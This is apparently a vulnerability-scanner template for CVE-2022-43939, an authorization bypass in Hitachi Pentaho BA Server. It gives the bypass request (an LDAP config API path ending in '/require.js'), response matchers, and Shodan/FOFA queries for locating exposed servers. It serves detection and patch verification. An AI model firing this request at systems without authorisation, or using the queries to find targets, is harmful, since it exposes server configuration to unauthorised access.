CVE-2022-43939: Hitachi Pentaho Business Analytics Server - Bypass Authorization

id: CVE-2022-43939

info:
  name: Hitachi Pentaho Business Analytics Server - Bypass Authorization
  author: daffainfo
  severity: high
  description: |
    Hitachi Vantara Pentaho Business Analytics Server versions before 9.4.0.1 and 9.3.0.2, including 8.3.x contain security restrictions using non-canonical URLs which can be circumvented.
  reference:
    - https://support.pentaho.com/hc/en-us/articles/14455394120333--Resolved-Pentaho-BA-Server-Use-of-Non-Canonical-URL-Paths-for-Authorization-Decisions-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43939-
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43769
    - https://research.aurainfosec.io/pentest/pentah0wnage/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
    cvss-score: 8.6
    cve-id: CVE-2022-43939
    epss-score: 0.93789
    epss-percentile: 0.99846
    cwe-id: CWE-647
    cpe: cpe:2.3:a:hitachi:vantara_pentaho_business_analytics_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hitachi
    product: vantara_pentaho_business_analytics_server
    shodan-query: http.favicon.hash:1749354953
    fofa-query: icon_hash=1749354953
  tags: cve,cve2022,pentaho,hitachi,auth-bypass,vkev,kev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/pentaho/Login'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Pentaho User Console - Login")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Path=/pentaho'
          - 'application/json'
        condition: and

      - type: word
        part: body
        words:
          - '{}'

      - type: status
        status:
          - 200
# digest: 490a0046304402200384bb6b3e22d502867e4aa371b45502b7daed72f23a04cb31a5c46ef610f6e302205c52ce6e4625c8a60d462048eacd9752e36ca2a795176bbe2e399f888f5d84bd:922c64590222798bb761d5b6d8e72950